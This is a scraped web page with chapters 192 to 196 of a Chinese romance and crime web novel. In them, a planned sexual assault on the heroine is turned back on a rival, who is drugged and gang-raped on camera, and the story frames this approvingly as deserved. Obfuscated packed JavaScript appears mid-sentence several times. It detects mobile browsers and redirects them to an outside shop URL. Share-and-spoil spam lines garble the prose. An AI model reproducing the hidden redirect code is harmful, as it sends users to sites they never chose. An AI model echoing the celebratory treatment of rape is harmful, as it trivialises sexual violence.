“干什么?刀疤脸舔了舔嘴唇,目光淫邪地在明嫣身上扫来扫去,“明大小姐,有人花钱请我们哥几个,好好‘伺候’你,顺便拍点好看的照片留念! 他话音刚落,几个混混就发出猥琐的笑声,一步步逼近。 明嫣反应极快,抬脚狠狠踹向最近一人的裆部,同时用手里的包砸向另一人的脸! “啊!被踹中的人发出惨叫,蜷缩倒地。 另外两人下意识地想要去抓明嫣的手臂! 就在他的脏手即将碰到明嫣的瞬间,林野一脚踹在对方的肚子上,将人直接踹出了几米远! “靠,找死!一个混混挥着棍子就朝林野砸过来! 林野动作极快,侧身躲过棍子,同时一个矮身扫堂腿,精准地踹在对方小腿骨上! “咔嚓!一声脆响,伴随着混混凄厉的惨叫,他抱着腿倒地哀嚎。 另一个混混见状,骂了一句脏话,抡起拳头冲上来。 林野不退反进,直接用肩膀硬抗了他一拳,闷哼一声,同时手肘如同铁锤般狠狠撞在对方肋下! 那混混疼得弯下腰,林野紧接着一记膝顶,重重撞在他面门! 鼻血喷溅,那混混哼都没哼一声,直接晕死过去。 电光火石之间,林野就放倒了三个人,动作干净利落,狠辣无比。 其他混混都被镇住了,一时不敢上前。 刀疤脸脸色难看,骂道:“妈的,一起上!废了这小子! 剩下的五六个混混互相使了个眼色,同时挥舞着棍棒冲了上来! 林野突然转身往楼下跑。 动作快得像道影子。 昏暗的灯光晃了晃,彻底吞没了他的身影。 “操!那小子跑了!刀疤脸愣了一下,随即啐了一口,“妈的,怂货! 他扭头,狞笑着看向明嫣刚才站的位置—— 空了。 刀疤脸脸色骤变,手电光柱慌乱地扫过那片空地。 “人呢?!他吼出声 如果喜欢本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777686|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书请记得和好友讨论本书精彩情节,才有更多收获哦 ,脖子上青筋暴起。 刚才所有人的注意力都被林野吸引,没人看见明嫣是怎么消失的。 “搜!”刀疤脸声音发狠,带着被耍弄的暴怒,“给老子把人揪出来!她跑不远!” 七八个混混立刻散开,杂乱的脚步声在空旷的废厂房里回荡,手电光柱像鬼爪一样在黑暗中胡乱撕扯。 铁皮桶被踢翻的哐当声,骂骂咧咧的叫嚷声,交织成一片。 …… 厂房外,夜色浓得像化不开的墨。 赵老四坐在一辆黑色轿车的引擎盖上,手里夹着烟,听着里面隐约传来的打斗声和叫骂,脸上没什么表情。 就在这时,刀疤脸小跑过来,凑到他耳边低声汇报:“四哥,人躲起来了,兄弟们正在里面找。” 赵老四皱了皱眉,还没开口,旁边车里的秦婉就迫不及待地探出头。 “舅舅,我过去看看!”秦婉兴奋地下车,脸上是扭曲的兴奋,“我要亲眼看看她的下场!” 赵老四瞪了她一眼:“胡闹!里面什么情况你不知道?老实待着!” “不嘛!舅舅!”秦婉抓住他的胳膊用力摇晃,声音又嗲又急,“我就要进去!隔着这么远什么都听不见!你不是安排了那么多人吗?还能出什么事?我就远远看着,看看那个**的下场!” 她缠得厉害,赵老四被她磨得心烦意乱。 想着里面都是自己人,刀疤也在,出不了大岔子,便不耐烦地挥挥手:“行了行了!刀疤!” “四哥,您吩咐……” “看好小姐,” “是,四哥。” “带小姐进去,找个安全角落,看紧了,别让她往前凑。”赵老四吩咐完,又警告地瞪了秦婉一眼,“看一眼就出来,听到没?” “知道啦舅舅!”秦婉喜笑颜开,立刻跳下车,紧紧跟在刀疤脸身后,朝着厂房大门走去。 越靠近厂房,里面传来的杂乱声响就越清晰。 秦婉非但不害怕,反而更加兴奋,脸颊泛着不正常的红晕。 刀疤脸引着她,绕过一堆废弃的机器,走到一个相对隐蔽的角落,这里能隐约看到厂房中央那片空地的情况。 光线很暗,只有几道手电光柱在胡乱晃动。 她借着微弱的光线,看到不远处一堆废弃的纺织原料后面,似乎蜷缩着一个纤细的身影,正在微微发抖。 是明嫣! 第192章 将计就计! 秦婉心脏狂跳,兴奋得手指都在颤抖。 她小心翼翼地靠过去,越看越确定。 就是那个**! 吓傻了吧! 躲在这里有什么用? 秦婉脸上露出恶毒的快意,她甚至想好了等会儿要怎么嘲讽她! 就在她离那身影只有几步远时—— 身后突然传来一股巨大的力道! “唔!” 一块带着刺鼻气味的手帕猛地捂住了她的口鼻! 秦婉惊恐地瞪大眼,还没来得及挣扎,那股强烈的眩晕感就瞬间罩了下来。 意识模糊的最后一秒,她看到那个蜷缩的‘明嫣’转过了头——根本不是明嫣! 是那个跟着明嫣的小子林野! 他眼神冰冷地看着她,脸上没什么表情,只有一双眼睛在黑夜里亮得惊人。 而捂住她的人……是刀疤脸?! 为什么…… 可还没等她想明白,便彻底失去了意识。 刀疤脸看着软倒的秦婉,又看看走过来的林野,压低声音:“接下来怎么办?” 林野没说话,只是快速脱下秦婉的外套,又把自己身上那件和明嫣今天外套颜色相近的旧风衣裹在秦婉身上,胡乱弄乱她的头发。 然后,他指了指厂房深处那几个正骂骂咧咧搜寻的混混,对刀疤脸使了个眼色。 刀疤脸会意,扛起秦婉快步走向原本为明嫣准备好的拍摄地点。 走到一半,他脚步微顿,回头看向林野,“后面交给你。小心点儿,护好沉爷的女人。” 林野撇了撇嘴,眼神里带着点少年人的不耐烦,声音低哑:“少管闲事。” 刀疤脸也不恼,嘿然一笑,不再多说,当即扛着昏迷的秦婉大步朝着厂房中央那片空地走去。 那里,七八个混混正像无头苍蝇一样四处翻找。 刀疤脸走过去,将肩上的秦婉毫不怜香惜玉地往地上一堆厚厚的纸壳堆上一扔。 “妈的,人抓到了!这臭娘们还挺能躲!” 混混们的注意力立刻被吸引过来。 光线太暗,只能依稀看到个穿着米色风衣,身形纤细的女人躺在那里,头发披散看不清脸。 “还是刀疤哥厉害!” “兄弟们忙活了半天,原来藏这儿了!” “这下可以交差了吧?” 混混们发出猥琐的笑声,搓着手围拢上来。 刀疤脸含糊地应了一声,退到阴影里,对着旁边拿着相机的 听说看这本书的人都是很幸运的,分享后你的运气会更棒 手下打了个手势。 手下会意调整相机红点对准了那个角落。 手电光聚焦在纸壳堆上晃得人眼花。 不知道谁先动的手混乱中有人开始撕扯秦婉的衣服。 混乱开始了。 衣服被撕裂的声音。 含糊的呜咽和哭泣。 男人们粗重的喘息和污言秽语。 …… 厂房外赵老四坐在车里闭目养神。 手下递过来一杯热茶。 他慢悠悠地品着听着里面隐约传来的动静 “嗯听着是得手了。”他放下茶杯吩咐道“让里面的人手脚麻利点照片拍清楚些。” “是四哥。” 时间一分一秒过去。 里面的声音渐渐小了下去只剩下一些粗重的喘息和零星的啜泣。 赵老四觉得差不多了正准备让人进去收尾忽然像是想起什么随口问了一句:“婉儿呢?看够热闹了吧?让她出来别在里面碍事。” 旁边的手下愣了一下面面相觑。 “四哥……没看见秦小姐出来啊?” “刚才不是跟刀疤进去了吗?”另一个手下道。 赵老四心头莫名一跳一种不祥的预感瞬间翻涌了上来。 “进去多久了?” “有……有一会儿了……” 赵老四脸色骤变猛地推开车门朝着厂房大步冲去! “婉儿!” 他冲进厂房浓郁的血腥味和某种难以言喻的气味扑面而来。 手电光下只见那片空地的纸壳堆上一个衣衫不整浑身狼藉的女人如同破布娃娃般躺在那里一动不动。 几个混混正心满意足地提着裤子在一旁抽烟说笑。 刀疤脸不见踪影。 赵老四心脏狂跳几步冲到纸壳堆前颤抖着手将那个女人翻了过来—— 那张布满泪痕和淤青的脸不是秦婉又是谁?! “婉儿!!!”赵老四发出一声撕心裂肺的吼叫眼前一黑差点栽倒。 他猛地抬头眼睛血红地扫过那几个混混声音因为极致的愤怒和恐惧而扭曲:“谁干的?!这他妈是谁干的?!刀疤呢?!!” 混混们这才看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777687|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人的脸顿时吓得魂飞魄散酒都醒了大半。 “四……四哥……我们不知道是秦小姐啊!” “是刀疤 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 哥……是刀疤把她扔过来的!他说抓到明嫣了……” “刀疤……刀疤不见了!” 赵老四只觉得一股寒气从脚底板直冲天灵盖,瞬间明白了! 中计了! 刀疤背叛了他! “啊!!!”他暴怒的猛地掏出**,对着那几个还在瑟瑟发抖的混混毫不犹豫地扣动了**! “砰!砰!砰!” 几声枪响在空旷的厂房里炸开,惨叫声戛然而止。 赵老四看也没看那几个倒在血泊中的手下,他俯身,小心翼翼地用外套裹住浑身冰凉的秦婉,将她打横抱了起来。 女孩身体软绵绵的,像个被玩坏了的娃娃。 赵老四抱着她,手臂都在发抖,牙齿咬得咯咯作响,眼底是滔天的恨意和蚀骨的心痛。 “明嫣……好!你给我等着!”他几乎是从齿缝里挤出这几个字,每一个字都带着血腥气。 他抱着秦婉,踉跄着冲出厂房,嘶声吼道:“开车!去医院!快!!” …… 而与此同时,距离废弃工厂几公里外的一条僻静小路上。 陆奉归开着律所的车,手心还在冒冷汗。 后座,明嫣裹着一件深色的男式外套,脸色有些苍白,但眼神很镇定。 她身边坐着林野,少年依旧沉默,眼神警惕地扫视着窗外。 “老大,刚才真是太险了……”陆奉归心有余悸,“要不是林野机灵,跟你换了衣服引开他们,又提前联系了……那边的人接应,我们今晚恐怕……” 明嫣轻轻“嗯”了一声,没有多说。 她也没想到,林野竟然连赵老四身边最得力的刀疤脸都能策反。 当初听到林野跟她说的时候,她不知道有多惊讶。 今晚这一出,将计就计,不仅让她毫发无伤,还让秦婉自食恶果,彻底斩断了赵老四一条臂膀。 正想着,前方刺眼的车灯由远及近,一辆黑色的宾利以一个近乎漂移的姿势猛地横停在他们车前,挡住了去路。 陆奉归吓了一跳,猛地踩下刹车,一张脸煞白——什么情况? 是赵老四的人吗? 第193章 自作自受 陆奉归握方向盘的手绷出青筋,脸色煞白,大气都不敢出。 而就在这时,黑色的宾利车门推开,一个高大挺拔的身影迈步走下来。 车灯惨白的光里,男人的黑色大衣下摆被夜风刮起。 他身后是浓得化不开的夜色,整个人像淬了冰。 明嫣心头一跳,还没反应过来,车门就被从外面猛地拉开。 冷风灌入,她下意识裹紧外套。 傅修沉俯身,视线在她脸上迅速扫过。 他什么也没问,手臂穿过她膝弯和后背,直接将人从车里抱了出来。 动作不算温柔,甚至带着点狠劲。 明嫣低呼一声,下意识地揽住他的脖颈:“傅修沉…… 傅修沉没理她,抱着她转身就往自己的车走。 经过驾驶座时,脚步顿住,眼风扫向里面脸色发白的陆奉归。 “陆奉归。 陆奉归一个激灵:“傅、傅总…… 傅修沉盯着他,声音不高,字字砸下来:“再有下次,你跟着她胡闹—— 他顿了顿,后面的话没说完,可那眼神比刀子还利。 陆奉归喉结滚动,冷汗瞬间湿透后背。 “……明白。 傅修沉没再多看一眼,抱着明嫣大步离开。 明嫣被他箍在怀里,能感受到他胸膛下急促的心跳,擂鼓一样撞着她耳膜。 他下颌线绷得死紧,侧脸在晃动光影里明明灭灭。 走了几步,她手指无意识揪住他大衣前襟,忍不住回头。 林野不知何时已经从车里下来,就站在几步外,嘴角紧抿,黑沉沉的眼睛望着这边,下意识地也想跟上来。 傅修沉脚步没停,甚至没侧头,只冷冷抛过去一句: “站那儿。 林野不由得浑身一僵,下意识地挺直了背脊,但最终还是悻悻地闭上了嘴,有些不甘心地撇了撇嘴,站在原地没再跟上去。 少年垂下眼,脚尖无意识地碾着地上的石子,肩膀垮下去一点。 明嫣心里莫名一软,想开口,傅修沉却已走到车边,拉开车门,将她塞进副驾。 “砰! 车门关上,隔绝了外面所有声音。 车内灯自动亮起,昏黄光线笼罩下来。 傅修沉没立刻发动车子。 他坐在驾驶座,没看她,目光落在前方浓稠的夜色里。 车内空气凝滞,只听得见彼此压抑的呼吸。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 明嫣靠在椅背,身上还裹着那件不属于她的男式外套。 她偷偷看他侧脸,线条冷硬,眼尾那颗朱砂痣在昏暗光线下红得惊心。 她张了张嘴,想解释今晚的事,想问他怎么找到这里…… 可所有话都堵在喉咙口。 最终,她只轻声唤他:“傅修沉。 他没应。 她伸手,指尖小心翼翼碰了碰他放在方向盘上的手背。 冰凉。 他手指几不可察地蜷缩了一下,猛地反手攥住她的手腕。 力道很大,捏得她骨头生疼。 明嫣蹙眉,却没挣脱。 他终于转过头,看她。 那双深邃的眼眸里翻涌着她看不懂的墨色,沉得吓人。 “明嫣,他开口,声音低哑得厉害,“你长本事了。 她心口一紧。 “一个人跑去那种地方?嗯?他逼近,气息拂过她脸颊,带着压迫感,“谁给你的胆子? “我有准备……她试图辩解,“林野他…… “林野?傅修沉嗤笑一声,打断她,“你以为安排个他在你身边,就万无一失了? 他盯着她的眼睛,一字一顿:“今晚要是刀疤反水,要是赵老四多带几个人,要是…… 他喉结滚动,后面的话没说出来,可明嫣从他眼底看到了后怕。 一种她从未在傅修沉眼里见过的情绪。 她愣住了。 傅修沉松开她的手腕,身体靠回椅背,抬手揉了揉眉心。 “城东的案子,别查了。他声音缓下来,带着不容置疑。 明嫣心头那股倔强猛地顶了上来:“不行! 他倏地转头,眼神锐利。 “那是我爸的心血!他现在还躺在医院里!明氏差点被他们搞垮!你让我别查了?她声音拔高,因为激动微微发颤,“傅修沉,那是我爸! “我知道是你爸!他声音也沉了下去,带着压抑的火气,“所以呢?搭上你自己去查?今晚是运气好,下次呢? “我有分寸! “你的分寸就是差点被人堵在废弃工厂里? 明嫣被噎住,胸口剧烈起伏。 她知道他说得有道理,可一想到父亲毫无生气的样子,想到明氏摇摇欲坠,她就没办法冷静。 “傅修沉,她看着他,眼圈慢慢红了,“那是我爸……我不能眼睁睁看着…… 她再说下去。 傅修沉 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777688|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她泛红的眼眶,所有斥责的话都堵在了喉咙里。 他深吸一口气,强行压下翻涌的情绪。 车内陷入沉默。 过了很久,他重新开口,声音恢复了平日的冷静,却带着一丝不易察觉的妥协:“城东的事,我来处理。” 明嫣猛地抬眼。 “你别插手。”他补充,语气强硬,“我会把背后的人揪出来,该算的账,一笔不会少。” 她张了张嘴,想反驳。 “听话。”他打断她,目光沉沉落在她脸上,“别让我分心。” 最后几个字,带着某种重量,压得她心头一颤。 她看着他眼底的疲惫和坚决,那些争辩的话最终咽了回去。 她知道,他说到做到。 他也确实有能力处理这一切。 “……好。”她哑声应下。 傅修沉似乎松了口气,身体微微放松。 他视线掠过她身上那件碍眼的外套,眉头蹙起:“谁的?” 明嫣低头看了看:“林野的。” 他脸色瞬间又沉了下去,伸手,毫不客气地将那外套从她身上扯下来,团成一团,直接扔到了后座。 动作粗暴。 明嫣:“……” 他重新坐好,发动车子。 引擎低吼一声,车子平稳地滑入夜色。 开了几分钟,明嫣忍不住还是问出了口:“林野……是你安排在我身边的?” 傅修沉目视前方,淡淡“嗯”了一声。 “为什么……” 傅修沉侧头瞥了她一眼:“你说为什么?” 她哑然。 上次她一不小心被秦婉的指甲划到时,他就跟自己提过…… 只不过那时被她拒绝了…… 想来是从她决定留在魔都开始,他就在为她铺路,为她扫清障碍,连她身边可能潜在的危险都考虑到了。 心里那点因为他刚才强势而产生的不快,瞬间消散,取而代之的是一种酸涩的暖意。 “刀疤脸也是你的人?”她想起今晚的惊险。 “算是。”傅修沉语气没什么起伏,“赵老四身边埋的钉子,用了点时间。” 原来一切都在他算计之中。 “秦婉她……”她迟疑着开口。 虽然在她看来秦婉是纯属活该。 可不管怎么说,她到底是傅承平的女儿,也算是傅修沉的堂妹…… 傅修沉眼神冷了下去:“自作自受。” 简单的四个字,为今晚的事定了性。 第194章 一起洗 车子驶入地下车库,熄火。 世界骤然安静,只剩下彼此尚未平复的呼吸声。 傅修沉没立刻下车,他侧过身,阴影笼罩下来,指尖抬起明嫣的下巴,迫使她看向自己。 他的指腹有些凉,摩挲着她下颌的软肉,眼神沉得像墨。 “还怕吗?”他问,声音低哑。 明嫣摇头,想说自己没那么脆弱,可对上他眼底那片深不见底的暗色,话就堵在了喉咙里。 她今晚确实莽撞了,后知后觉的寒意此刻才顺着脊椎一点点爬上来。 他盯着她看了几秒,忽然倾身,吻落在她眼皮上,很轻,带着安抚的意味。 然后是鼻尖,最后覆上她的唇。 不像平时那般带着侵略性,这个吻有些慢,带着点厮磨的力道,舌尖撬开齿关,勾着她,纠缠,吮吸,仿佛在确认她的存在。 明嫣被他吻得有些缺氧,手指无意识地攀上他的肩膀,揪紧了西装布料。 直到她发出细微的呜咽,他才稍稍退开,额头抵着她的,呼吸灼**交织。 “下次,”他喘着气,每个字都敲在她心上,“再敢这样,我就把你锁在家里,哪儿也不准去。” 这话带着狠劲,却又透着一丝拿她没办法的纵容。 明嫣心跳漏了一拍,嘴硬道:“你敢……” 他低笑,鼻尖蹭了蹭她的:“试试?” 没等她回答,他已推门下车,绕到副驾驶,将她打横抱了出来。 明嫣低呼一声,下意识环住他的脖颈。“我能自己走……” 傅修沉没理,抱着她径直走向电梯。 电梯镜面映出两人交叠的身影,他西装革履,她发丝微乱,脸颊还带着未褪的红潮。 他的手臂稳而有力,箍在她腿弯和后背,存在感强得让人无法忽视。 进了顶层公寓,感应灯次第亮起。 傅修沉将她放在玄关的矮柜上,高度正好让她与他平视。 他没开大灯,只有角落的壁灯散发着昏黄的光晕。 他抬手,解开她大衣的扣子,动作不紧不慢。 外套被褪下,扔在一旁。 里面是件柔软的羊绒衫,领口有些松,露出纤细的锁骨和一小片肌肤。 他的目光落在上面,停了停。 “有没有伤到?”他问,手已经抚上她的脖颈,指尖微凉,轻轻按压,检查着可能存在的暗伤。 “没有。”明嫣被他碰得有些痒,缩了缩脖子。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他的手顺着她的手臂向下握住她的手腕 “都好。”她声音有点干。 他却不依不饶撩起她羊绒衫的下摆掌心贴上她腰侧的肌肤。 那里细腻温热他的手掌却带着刚从外面进来的凉意激得她微微一颤。 “这里?”他低声问气息拂过她耳廓。 明嫣按住他作乱的手抬眼瞪他:“傅修沉!” 他反手扣住她的手指与她十指交握压在她身侧的柜面上。 身体逼近将她困在方寸之间。 “明嫣”他连名带姓叫她眼神锁着她“你知不知道接到消息的时候我在想什么?” 她看着他没说话。 “我在想”他喉结滚动声音压得更低带着一种劫后余生的哑“要是你出了事我让那些人一个都活不成。” 他说得平静字里行间却透着血腥气。 明嫣心脏猛地一缩。 他低下头吻再次落下这次不再是安抚带着惩罚性的啃咬在她唇上留下轻微的刺痛。 手也从她腰侧滑到后背将她更紧地按向自己隔着薄薄的衣料能感受到他胸膛传来的剧烈心跳和她的一样快。 意乱情迷间他一把将她抱起走向卧室。 身体陷入柔软的床垫他的重量随之覆下。 吻变得密集而滚烫从嘴唇蔓延到颈侧留下湿热的痕迹。 他的手探入衣摆抚过脊背带起一阵阵战栗。 明嫣被他弄得浑身发软呼吸急促残存的理智让她在他试图更进一步时抵住了他的胸膛。 “等等……”她气息不稳“还没洗澡……” 傅修沉动作顿住撑起身子看她眼底是未散的情潮暗沉得吓人。 他盯着她看了几秒忽然深吸一口气将头埋在她颈窝平复着呼吸。 “一起洗。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777689|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑声说不由分说地将她抱起走向浴室。 …… 而与此同时医院VIP病房里消毒水的气味浓得呛人。 秦婉是在一阵剧烈的头痛和身体被撕裂般的疼痛中醒来的。 意识回笼的瞬间废弃工厂里那些混乱肮脏的画面如同潮水般涌入脑海——男人们扭曲的脸淫邪的笑声撕扯她衣服的手还有那令人作呕的触碰…… “啊!!!” 她猛地从病床上弹坐起来发出凄厉至极的尖叫双手疯狂地抓挠着自 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 己的头发和身体,仿佛要将那些肮脏的触感从皮肤上剥离下去! “滚开!别碰我!滚啊!”她眼神涣散,瞳孔因为极致的恐惧而收缩,涕泪横流,整张脸扭曲得不成样子。 守在床边的赵老四和几个手下被吓了一跳,连忙上前试图按住她。 “婉儿!婉儿你冷静点!没事了!没事了!”赵老四心疼得像被刀割,声音都在发抖。 “啊!别过来!你们都是畜生!畜生!”秦婉像是认不出人,对着赵老四又抓又打,指甲在他脸上划出血痕,“舅舅!杀了他们!帮我杀了他们!是明嫣!是那个**害我!我要她死!要她死啊!!” 她哭嚎着,声音嘶哑破碎,充满了刻骨的怨毒。 赵老四死死抱住她,任由她踢打,眼睛血红,咬牙切齿地保证:“好!好!舅舅一定给你报仇!把那个**千刀万剐!” 秦婉折腾得没了力气,瘫软在赵老四怀里,像个破败的娃娃,眼神空洞地望着天花板,嘴里反复念叨着:“毁了……全毁了……霍寒山不会要我了……他肯定嫌弃我了……我完了……” 她猛地又抓住赵老四的胳膊,指甲几乎掐进他肉里,眼神癫狂:“舅舅!不能让霍寒山知道!绝对不能!你去告诉他,告诉他我是清白的!是明嫣陷害我!对!就是明嫣害的!” 赵老四看着她这副样子,心都在滴血,连声应着:“好,好,舅舅知道,舅舅去说,我们婉儿是清白的……” 可他心里清楚,这事瞒不住。 霍寒山那边…… 怕是迟早要知道…… 第195章 雷霆手段 夜色浓稠,窗外的霓虹隔着厚重的窗帘,只余下模糊的光晕。 傅修沉靠在床头,胸膛微微起伏,汗珠沿着紧实的肌理滚落,没入腰腹间搭着的薄被。 黑发濡湿,几缕凌乱地搭在额前,遮住了部分眉眼,却遮不住眼底尚未完全褪去的暗色潮涌。 身侧,明嫣早已熟睡。 她侧躺着,脸陷在柔软的枕头里,呼吸清浅均匀。 露在薄被外的肩头肌肤细腻,上面残留着几处新鲜的暧昧红痕,在昏暗的光线下格外醒目。 长睫湿漉漉地垂着,唇瓣微肿,即使睡着,眉宇间也带着一丝被过度索求后的倦怠和娇慵。 空气里弥漫着事后特有的靡靡气息,混合着她身上淡淡的馨香和他清冽的体味。 傅修沉侧过头,目光沉静地落在她睡颜上,看了很久。 指尖抬起,想要碰碰她脸颊,却在即将触及时停住,转而轻轻拂开黏在她颈侧的一缕湿发。 动作小心翼翼,带着几分温存,与方才在情事中那股近乎凶悍的占有欲判若两人。 她就这么毫无防备地睡在他身边。 这个认知让他心底某个角落变得异常柔软,却也勾出了几分想要彻底掌控和守护的欲望。 今晚的事,绝不能再发生第二次。 他眸色沉了沉,掀开薄被,动作极轻地起身,没有惊动她。 赤脚踩在冰凉的地板上,肌肉线条流畅的背脊在昏暗光线下如同蛰伏的猎豹。 他弯腰捡起随意丢在地上的黑色丝质睡袍,随意披上,带子松松系着,露出小片紧实的胸膛。 走出卧室,轻轻带上门。 书房只开了盏桌角的台灯,光线昏黄,将他挺拔的身影投在墙壁上,拉得很长。 他拿起书桌上的加密电话,拨通了一个号码。 “说。”声音压得很低,带着事后的微哑,却清晰冷冽。 电话那头立刻传来恭敬的汇报声:“沉爷,都处理干净了。刀疤已经送走,按您的吩咐,给了他新的身份和一笔钱,足够他下半辈子衣食无忧。另外,赵老四在城南、城西的三个地下赌场,两家放贷公司,还有那家拳馆,我们的人同时动手,账本和核心成员都控制住了。” 傅修沉走到窗边,撩开一丝窗帘缝隙,看着外面沉寂的夜色。 “东西呢?”他问。 “证据齐全,包括他之前涉嫌的几起伤人案、逼债致人**的证据,以及……这次意图**、伤害明小姐的通讯记录和转账凭证,都 听说看这本书的人都是很幸运的,分享后你的运气会更棒 已经整理好。 “送给市局的李队。傅修沉语气平淡,听不出情绪,“告诉他,我送他一份开年大礼。 “是,沉爷。 挂了电话,傅修沉又在窗前站了片刻。 他指尖夹着烟,没抽,任由猩红的光点在指间明明灭灭。 烟灰积了长长一截,将落未落。 他的眼底没有任何波澜,仿佛刚才决定的只是碾死几只蚂蚁。 赵老四敢把主意打到明嫣头上,就要有承担后果的觉悟。 这不仅仅是为了给明嫣出气,更是为了立威。 他要让所有人都知道,动他傅修沉的人,会是什么下场。 …… 城西,赵老四的老巢,表面是家物流公司,此时却灯火通明,人声嘈杂。 后院隐蔽的仓库里,堆满了未拆封的走私香烟和几箱贴着普通标签,内里却是违禁药物的箱子。 几个马仔正清点着今晚要出的“货。 “动作都麻利点!四哥交代了,这批要紧!一个黄毛吆喝着。 仓库铁门突然被人从外面猛地撞开! “警察!都不许动! 数道强光手电的光柱瞬间刺破昏暗,荷枪实弹的警察鱼贯而入,如同神兵天降。 “操!黄毛脸色煞白,下意识想去摸后腰的**。 “砰!一声枪响警告,打在脚边地面,溅起火星。 “抱头蹲下!厉喝声震得人耳膜发麻。 混乱,呵斥,**碰撞声…… 不过短短几分钟,仓库内所有人员被彻底控制。 带队警官按住耳麦,听着那头传来的指令,脸色冷肃:“搜!仔细点,一张纸片都别放过! 几乎是同时,赵老几名下的几家地下赌场、放贷公司,同一时间被精准闯入,控制现场,查封账目。 动作快、准、狠,根本没给任何人反应时间。 …… 赵老四是在情妇床上被手机震动惊醒的。 接连十几个未接来电,全是心腹号码。 他心头猛跳,刚回拨过去,对面就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784723|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传来带着哭腔的嘶喊:“四哥!完了!全完了!窝点被端了!条子像是长了眼,直接冲着仓库和账本来的! 赵老四只觉得一股寒气从脚底板直窜天灵盖,猛地坐起,赤着上身,冷汗瞬间浸湿了鬓角。 “你说什么?!哪个点?! “所有……所有的点!码头那边刚运出去的船也被拦了!四哥,我们内 你的朋友正在书荒,快去帮帮他吧 部肯定有鬼!不然条子怎么可能……” 后面的话赵老四已经听不清了。 他脑子里嗡嗡作响,像是有千万只苍蝇在飞。 所有点……同时被端? 这绝不是巧合! 是傅修沉! 一定是他! 只有他才有这个能力,有这个动机,用这种雷霆手段,一击毙命! 手机再次疯狂震动,屏幕上跳跃着“婉婉”两个字。 赵老四手指发抖,几乎握不住手机。 他猛地将手机砸在墙上! “砰!”一声脆响,屏幕碎裂,世界瞬间安静。 完了。 他辛苦经营多年的地盘,他赖以生存的根基,一夜之间,全完了。 …… 翌日,清晨。 各大媒体平台几乎被同一条新闻刷屏—— 【本市警方雷霆出击,捣毁以赵某为首的重大犯罪团伙,查获大量走私货物及**,涉案金额巨大……】 配图是警方押解涉案人员的现场照片,虽然打了马赛克,但熟悉的人不难认出其中几个正是赵老四的左膀右臂。 新闻里虽未直接点名傅修沉,但圈内人心知肚明,这场风暴因谁而起。 霍寒山是在去公司的路上,车载广播里听到这条新闻的。 他握着方向盘的手指骤然收紧,骨节泛白。 赵老四倒了? 这么快? 他脑海里瞬间闪过明嫣那张清冷决绝的脸,还有傅修沉那双深不见底的眼。 心脏像是被什么东西狠狠拧了一下,又酸又涩。 他几乎能想象到,傅修沉是如何面无表情地布下天罗地网,如何精准地掐断赵老四所有命脉。 为了明嫣。 他做得干脆利落,甚至不屑遮掩…… 若是换了他——可以为明嫣做到这一步吗? 第196章 霍寒山是她的!(二合一大章求票!) 警方对赵老四的通缉令,在中午时分正式下发。 照片贴满了大街小巷,各个交通枢纽严加盘查。 